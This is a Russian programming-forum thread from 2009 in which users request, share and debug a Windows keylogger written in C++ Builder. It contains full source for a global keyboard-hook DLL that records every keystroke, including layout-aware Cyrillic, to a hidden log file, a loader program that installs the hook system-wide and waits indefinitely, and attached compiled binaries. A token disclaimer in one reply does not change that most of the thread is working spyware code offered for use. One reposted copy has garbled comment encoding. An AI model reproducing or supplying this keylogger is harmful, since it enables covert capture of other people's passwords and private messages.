Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.83/30: Рейтинг темы: голосов - 30, средняя оценка - 4.83
1 / 1 / 1
Регистрация: 19.04.2009
Сообщений: 150

Hook

21.11.2009, 17:49. Показов 5825. Ответов 16
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Может кто проэкт кинуть кейлогера а то у мну че то проблема с DLL
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
21.11.2009, 17:49
Ответы с готовыми решениями:

PrintScreen hook
Привет. Имеется задача отследить глобально нажатие PrintScreen.. Статически создал и подключил DLL, код для перехвата получился такой: ...

Вопрос о Hook
Здравствуйте! Можно ли описать LRESULT CALLBACK MouseHook(int nCode,WPARAM wParam,LPARAM lParam) в моем классе, а потом в нужный...

Hook, одновременное нажатие
Доброго времени суток! У меня такой вопрос: Я пишу примитивную игру типа бокса для "мультиплеерного режима" на с++ builder'e ...

16
1 / 1 / 1
Регистрация: 19.04.2009
Сообщений: 150
21.11.2009, 22:43  [ТС]
Есть DLL

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <vcl.h>
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#pragma hdrstop
BOOL kdown=false;
HANDLE ghDLLInst = 0;   // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];
 
BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
    ghDLLInst = hModule;
 
    switch (dwFunction)
    {
        case DLL_PROCESS_ATTACH:
   {
 
   GetSystemDirectory(
      sysdir,
   MAX_PATH
   );
 
   //strcpy(logname,sysdir);
   //strcat(logname,"\\kbdkeys.txt");
   strcpy(logname, "d:\\log.txt");
 
   }
        case DLL_PROCESS_DETACH:
   {
   }
 
        default:
            break;
    }
    return TRUE;
}
//------------------------------------------------
extern "C" _declspec(dllexport) LRESULT  CALLBACK KeyboardProc(
     int code,  // hook code
     WPARAM wParam,     // virtual-key code
     LPARAM lParam      // keystroke-message information
   )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);
 
if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
 
if(kdown&&(wParam==VK_SHIFT))shift=true;
 
if(!kdown&&(wParam==VK_SHIFT))shift=false;
 
if (kdown&&(wParam!=VK_SHIFT))
{
wsprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
wsprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");
 
   LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  OVERLAPPED ovlp;
  DWORD ffsze=GetFileSize(LFile,NULL);
  ovlp.OffsetHigh=0;
  ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
  WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
 
  CloseHandle(LFile);
}
 return CallNextHookEx(NULL,code,wParam,lParam);
Перехватает клавишы нормально но пишет всегда в лог только английзкие буквы то есть вве в блокнот "Happy " в лог запишеться Happy а ввел "Привет " в логе будет "GHBDTN" как это исправить кто подскажет ?
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
22.11.2009, 11:48
лови.. хацкер:

Только в целях ознакомления с возможной угрозой или в целях защиты своего ПК от несанкционированного доступа
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//---------------------------------------------------------------------------
#include <windows.h>
#include<vcl.h>
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" __declspec(dllexport) void hwnd(HHOOK HwndHook);
HHOOK hHook;//хранит дескриптор приложения загрузившего dll-ку
HINSTANCE hInstance;
FARPROC KeybProc = (FARPROC)KeyboardProc;
 
//---------------------------------------------------------------------------
int WINAPI DllEntryPoint(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void hwnd(HHOOK HwndHook)//определяет дескриптор основного приложения
{
hHook=HwndHook;
}
//---------------------------------------------------------------------------
 
__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD numb=0;
char buffer[10];
if((code == HC_ACTION)&&(!(HIWORD(lParam) & KF_UP)))
{
HANDLE hDump =CreateFile( "C:\\Program Files\\1.txt", GENERIC_WRITE, 0, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//создаем "шпионский" файл
SetFilePointer(hDump, 0, NULL, FILE_END);//пишем в конец
switch ((char)wParam)//начинаем процесс определения нажатой клавиши
{
case VK_ESCAPE:
strcpy(buffer,"<ESC>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_RETURN:
strcpy(buffer,"<RETURN>\r\n");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_MENU:
strcpy(buffer,"<ALT>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_NUMLOCK:
strcpy(buffer,"<NUMLOCK>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_BACK:
strcpy(buffer,"<BACKSPACE>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_END:
strcpy(buffer,"<END>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_HOME:
strcpy(buffer,"<HOME>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_LEFT:
strcpy(buffer,"<LEFT>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_RIGHT:
strcpy(buffer,"<RIGHT>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_DELETE:
strcpy(buffer,"<DEL>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_INSERT:
strcpy(buffer,"<INS>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_CAPITAL:
strcpy(buffer,"<CAPSLOCK>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_CONTROL:
strcpy(buffer,"<CTRL>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_SHIFT:
strcpy(buffer,"<SHIFT>");
WriteFile(hDump, buffer, 7, &numb, NULL);
break;
 
//в таком роде перечисляются все функциональные клавиши. См. windows.h
default://если не функциональная, значит символ
BYTE keyarray[256] ;
//определяем раскладку (рус/англ)
if(GetKeyboardState(keyarray))
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
buffer[0]='\0';//с учетом текущей раскладки преобразуем символ
WriteFile(hDump, buffer, 1, &numb, NULL);//пишем его в файл
break;
}
FlushFileBuffers(hDump);//чистим буфер
CloseHandle(hDump);//закрываем файл
 
}
return CallNextHookEx(hHook,code,wParam,lParam);//передаем "пойманные" параметры следующей ловушке
}
//---------------------------------------------------------------------------
2
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
24.11.2009, 13:15
люди, может кто подсказать: как сделать, чтобы перехватывало не только при активной форме (в которую загружен hook.dll), а всегда?
Заранее благодарен =)
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
24.11.2009, 13:44
ок лови тогда и уж прогу которая грузит дллку)))
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
//---------------------------------------------------------------------------
USEFORM("Unit1.cpp", Form1);
//---------------------------------------------------------------------------
typedef void (*HWN)(HHOOK );
 
HWN hwn=NULL;
 
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE dllhook = LoadLibrary("a.dll");//грузим длл-ку
if(dllhook)//проверяем удачность загрузки библиотеки
{
hwn = (HWN)GetProcAddress(dllhook,"_hwnd");//импортируем из библиотеки функцию для определения дескриптора основного приложения
HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook, "KeyboardProc");//импортируем процедуру определения нажатой клавиши
if(hwn && hook)//проверяем удачность импорта функций
{                                         абв
HHOOK hhook = SetWindowsHookEx(WH_KEYBOARD,hook,dllhook,0);//ставим ловушку на события клавиатуры
hwn(hhook);//передаем в dll-ку дескриптор своего приложения
Sleep(INFINITE);//впадаем в бесконечную спячку (INFINITE==-1)
}
}
FreeLibrary(dllhook);
return 0;
}
//---------------------------------------------------------------------------
это Project2.cpp, формы там нету.
1
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
24.11.2009, 16:36
спасибо! я, конечно, диско извеняюсь, но теперь (с этой прогой) перехвата вообще нету =(
возможно я не тот проект создаю? console wizard -> справа галочек нет, слева c++, затем пишу этот код, компилирую.
многое пробовал, но исправить не получается.
не могли бы вы мне помочь с этим как-нибудь? (dll писал по вашему примеру)
Заранее спасибо =)
п.с.: на месте "абв" ничего стоять не должно?=)
Цитата Сообщение от sh4d°_°ff Посмотреть сообщение
f(hwn && hook)//проверяем удачность импорта функций
{ абв
HHOOK hhook = SetWindowsHookEx...
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
24.11.2009, 16:44
это FormApplication, просто сама форма не используется... я уже не помню, давно делал, там не трудно... вроде удалить надо а может и нет... просто создай новый проект и скопируй что есть.. оно первый раз у меня вроде какую-то ошибку выдало, но скомпилировалось

абв надо удалить =)
1
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
26.11.2009, 18:50
вот спасибо большое!
я разобрался. проблема была в том, что я сохранял файл не "C:\1.txt", а просто для пробы писал "1.txt".
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 15:03
возникла небольшая проблемка:
практически все приложения начинают вылетать при нажатии на какую либо клавишу при включенном хуке. как это исправить может кто подсказать?
Заранее спасибо! =)
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
30.11.2009, 15:23
0о... первый раз слышу о подобной ошибке... были проблемы при завершении работы, но там фигня, хз че такое.. проект выложи поглядим.... (тока сожми плиз посильнее.. инет.. так сказать... нехороший=)
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 15:54
Спасибо за помощь!
Я приложил архив в 100 Кб (сжал по максимуму и удалил построенный exe и dll - для уменьшения веса). На счет инета понимаю... у меня у самого такой до октября этого года был =)
Там проект dll и exe, в отдельных папках.
Вложения
Тип файла: rar hook_project.rar (100.3 Кб, 73 просмотров)
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
30.11.2009, 16:18
)) отл. сжато))) спс)))

хз у меня Астон повис =) но че-то мне кажется в нем не так.... вот кидаю свой ехешник... посмотри его.. если тоже виснуть будет (у меня проблем не было тестировал и на своем компе и на виртуальной машине), то дллку кину, если уж и это не поможет то хз тогда.
Вложения
Тип файла: rar hook.rar (2.7 Кб, 61 просмотров)
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 16:57
все равно вылетает... похоже дело в длл.
приведу пример прог, которые вылетают:
1) mail агент - кому-нибудь пишу пост, нажимаю либо ESC(отменить), либо Enter(отправить) -> повис, навожу мышкой на само окно агнета (а не чата) -> вылетел =)
2) cs 1.6 - цепаюсь на серв, сразу нажал на TAB -> сразу вылетела
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
30.11.2009, 17:22
дллка...
Вложения
Тип файла: rar dll.rar (2.3 Кб, 51 просмотров)
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 18:38
извеняюсь, но у меня опять проблемы... да-да я просто ещё неопытен
это все, что должно там лежать? =)
при запуске msvcrt32.bpr просит C:\Documents and Settings\dll2\a.dll
0
говнокодер
 Аватар для sh4d°_°ff
1273 / 297 / 35
Регистрация: 31.10.2009
Сообщений: 1,432
30.11.2009, 18:50
странно у меня ниче не просит... может не длл, а
срр
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//---------------------------------------------------------------------------
#include <windows.h>
#include<vcl.h>
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" __declspec(dllexport) void hwnd(HHOOK HwndHook);
HHOOK hHook;//õðàíèò äåñêðèïòîð ïðèëîæåíèÿ çàãðóçèâøåãî dll-êó
HINSTANCE hInstance;
FARPROC KeybProc = (FARPROC)KeyboardProc;
 
//---------------------------------------------------------------------------
int WINAPI DllEntryPoint(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void hwnd(HHOOK HwndHook)//îïðåäåëÿåò äåñêðèïòîð îñíîâíîãî ïðèëîæåíèÿ
{
hHook=HwndHook;
}
//---------------------------------------------------------------------------
 
__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
DWORD numb=0;
char buffer[10];
if((code == HC_ACTION)&&(!(HIWORD(lParam) & KF_UP)))
{
HANDLE hDump =CreateFile( "C:\\1.txt", GENERIC_WRITE, 0, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//ñîçäàåì "øïèîíñêèé" ôàéë
SetFilePointer(hDump, 0, NULL, FILE_END);//ïèøåì â êîíåö
switch ((char)wParam)//íà÷èíàåì ïðîöåññ îïðåäåëåíèÿ íàæàòîé êëàâèøè
{
case VK_ESCAPE:
strcpy(buffer,"<ESC>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_RETURN:
strcpy(buffer,"<RETURN>\r\n");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_MENU:
strcpy(buffer,"<ALT>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_NUMLOCK:
strcpy(buffer,"<NUMLOCK>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_BACK:
strcpy(buffer,"<BACKSPACE>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_END:
strcpy(buffer,"<END>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_HOME:
strcpy(buffer,"<HOME>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_LEFT:
strcpy(buffer,"<LEFT>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_RIGHT:
strcpy(buffer,"<RIGHT>");
WriteFile(hDump, buffer, 9, &numb, NULL);
break;
case VK_DELETE:
strcpy(buffer,"<DEL>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_INSERT:
strcpy(buffer,"<INS>");
WriteFile(hDump, buffer, 5, &numb, NULL);
break;
case VK_CAPITAL:
strcpy(buffer,"<CAPSLOCK>");
WriteFile(hDump, buffer, 11, &numb, NULL);
break;
case VK_CONTROL:
strcpy(buffer,"<CTRL>");
WriteFile(hDump, buffer, 6, &numb, NULL);
break;
case VK_SHIFT:
strcpy(buffer,"<SHIFT>");
WriteFile(hDump, buffer, 7, &numb, NULL);
break;
 
//â òàêîì ðîäå ïåðå÷èñëÿþòñÿ âñå ôóíêöèîíàëüíûå êëàâèøè. Ñì. windows.h
default://åñëè íå ôóíêöèîíàëüíàÿ, çíà÷èò ñèìâîë
BYTE keyarray[256] ;
//îïðåäåëÿåì ðàñêëàäêó (ðóñ/àíãë)
if(GetKeyboardState(keyarray))
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
buffer[0]='\0';//ñ ó÷åòîì òåêóùåé ðàñêëàäêè ïðåîáðàçóåì ñèìâîë
WriteFile(hDump, buffer, 1, &numb, NULL);//ïèøåì åãî â ôàéë
break;
}
FlushFileBuffers(hDump);//÷èñòèì áóôåð
CloseHandle(hDump);//çàêðûâàåì ôàéë
 
}
return CallNextHookEx(hHook,code,wParam,lParam);//ïåðåäàåì "ïîéìàííûå" ïàðàìåòðû ñëåäóþùåé ëîâóøêå
}
//---------------------------------------------------------------------------
?
0
1 / 0 / 0
Регистрация: 23.11.2009
Сообщений: 8
30.11.2009, 19:06
ой, извеняюсь, C:\Documents and Settings\User\dll2\a.cpp =)
все сделал. но все равно все вылетает.
ну да ладно тогда. дольше мучаться
Большое спасибо за помощь!
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
30.11.2009, 19:06
Помогаю со студенческими работами здесь

Hook (перехват нажатия клавиши)
Не получается осуществить перехват. Код: TfmMain *fmMain; HHOOK hook; LRESULT CALLBACK KeyboardProc(int code, WPARAM...

создать hook из самой dll при ATACHE где находится функция
кто подскажет. хочу подключить hook при внедрении DLL. Адрес dll'ки находит, адрес функции находит а hook не устанавливается. почему может...

HOOK для продвинутых
Есть полностью работоспособная пара DLL и EXE реализующая CBT-HOOK. Хочу расширить проект: в CBTProc могу парсить только заголовок окна...

Как организовать D3D9.dll hook для DirectX 9?
Здравствуйте. Вот занялся я перехватом EndScene в игре, использующую для рисования DirectX 9 версии. В общем-то, перехват мне так и не...

Hook в qt
Привет всем, делаю приложение в котором должно перехватываться нажатие клавиши, для этого сделал dll. #ifndef HOOKING_H #define...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
17
Ответ Создать тему
Новые блоги и статьи
Использование SDL3-callbacks вместо функции main() на Android, Desktop и WebAssembly
8Observer8 24.01.2026
Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а привычная функция main(). . .
моя боль
iceja 24.01.2026
Выложила интерполяцию кубическими сплайнами www. iceja. net REST сервисы временно не работают, только через Web. Написала за 56 рабочих часов этот сайт с нуля. При помощи perplexity. ai PRO , при. . .
Модель сукцессии микоризы
anaschu 24.01.2026
Решили писать научную статью с неким РОманом
http://iceja.net/ математические сервисы
iceja 20.01.2026
Обновила свой сайт http:/ / iceja. net/ , приделала Fast Fourier Transform экстраполяцию сигналов. Однако предсказывает далеко не каждый сигнал (см ограничения http:/ / iceja. net/ fourier/ docs ). Также. . .
http://iceja.net/ сервер решения полиномов
iceja 18.01.2026
Выкатила http:/ / iceja. net/ сервер решения полиномов (находит действительные корни полиномов методом Штурма). На сайте документация по API, но скажу прямо VPS слабенький и 200 000 полиномов. . .
Расчёт переходных процессов в цепи постоянного тока
igorrr37 16.01.2026
/ * Дана цепь(не выше 3-го порядка) постоянного тока с элементами R, L, C, k(ключ), U, E, J. Программа находит переходные токи и напряжения на элементах схемы классическим методом(1 и 2 з-ны. . .
Восстановить юзерскрипты Greasemonkey из бэкапа браузера
damix 15.01.2026
Если восстановить из бэкапа профиль Firefox после переустановки винды, то список юзерскриптов в Greasemonkey будет пустым. Но восстановить их можно так. Для этого понадобится консольная утилита. . .
Сукцессия микоризы: основная теория в виде двух уравнений.
anaschu 11.01.2026
https:/ / rutube. ru/ video/ 7a537f578d808e67a3c6fd818a44a5c4/
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru